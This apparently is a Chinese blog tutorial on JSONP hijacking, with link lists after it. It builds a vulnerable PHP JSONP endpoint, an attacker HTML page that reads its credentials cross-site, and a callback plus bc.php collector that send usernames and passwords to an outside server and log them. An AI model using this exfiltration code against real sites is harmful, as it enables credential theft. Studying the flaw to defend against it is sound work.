Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
编写漂亮的代码 - 将后台程序与前端程序分开
Apr 23 PHP
php 需要掌握的东西 不做浮躁的人
Dec 28 PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 PHP
写出高质量的PHP程序
Feb 04 PHP
PHP实现的封装验证码类详解
Jun 18 PHP
PHP实现图片旋转效果实例代码
Oct 01 PHP
Codeigniter购物车类不能添加中文的解决方法
Nov 29 PHP
php实现通过ftp上传文件
Jun 19 PHP
php微信公众平台开发(四)回复功能开发
Dec 06 PHP
windows下的WAMP环境搭建图文教程(推荐)
Jul 27 PHP
Laravel框架自定义公共函数的引入操作示例
Apr 16 PHP
php5.3/5.4/5.5/5.6/7常见新增特性汇总整理
Feb 27 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
基于jquery的商品展示放大镜
2010/08/07 Javascript
AlertBox 弹出层信息提示框效果实现步骤
2010/10/11 Javascript
Javascript读取cookie函数代码
2010/10/16 Javascript
最流行的Node.js精简型和全栈型开发框架介绍
2015/02/26 Javascript
JQuery悬停控制图片轮播——代码简单
2015/08/05 Javascript
js游戏人物上下左右跑步效果代码分享
2015/08/28 Javascript
JavaScript阻止回车提交表单的方法
2015/12/30 Javascript
jQuery实现点击行选中或取消CheckBox的方法
2016/08/01 Javascript
javascript深拷贝和浅拷贝详解
2017/02/14 Javascript
使用vue.js实现checkbox的全选和多个的删除功能
2017/02/17 Javascript
javascript 取小数点后几位几种方法总结
2017/08/02 Javascript
Vue导出页面为PDF格式的实现思路
2018/07/31 Javascript
vue使用v-if v-show页面闪烁,div闪现的解决方法
2018/10/12 Javascript
微信小程序实现收货地址左滑删除
2020/11/18 Javascript
vue data变量相互赋值后被实时同步的解决步骤
2020/08/05 Javascript
Vue触发input选取文件点击事件操作
2020/08/07 Javascript
微信小程序连续签到7天积分获得功能的示例代码
2020/08/20 Javascript
Python找出9个连续的空闲端口
2016/02/01 Python
python 字典(dict)按键和值排序
2016/06/28 Python
python处理xml文件的方法小结
2017/05/02 Python
python 获取sqlite3数据库的表名和表字段名的实例
2019/07/17 Python
Python使用贪婪算法解决问题
2019/10/22 Python
关于Python Tkinter Button控件command传参问题的解决方式
2020/03/04 Python
Python利用matplotlib绘制散点图的新手教程
2020/11/05 Python
python3 re返回形式总结
2020/11/20 Python
意大利综合购物网站:Giordano Shop
2016/10/21 全球购物
SkinCeuticals官网:美国药妆品牌
2018/04/19 全球购物
小班幼儿评语大全
2014/04/30 职场文书
弄虚作假心得体会
2014/09/10 职场文书
向国旗敬礼学生寄语大全
2014/09/30 职场文书
会议邀请函
2015/01/30 职场文书
运动员入场前导词
2015/07/20 职场文书
2015年幼儿园国庆节活动总结
2015/07/30 职场文书
2016年11月份红领巾广播稿
2015/12/21 职场文书
《倍数和因数》教学反思
2016/02/23 职场文书
手把手教你怎么用Python实现zip文件密码的破解
2021/05/27 Python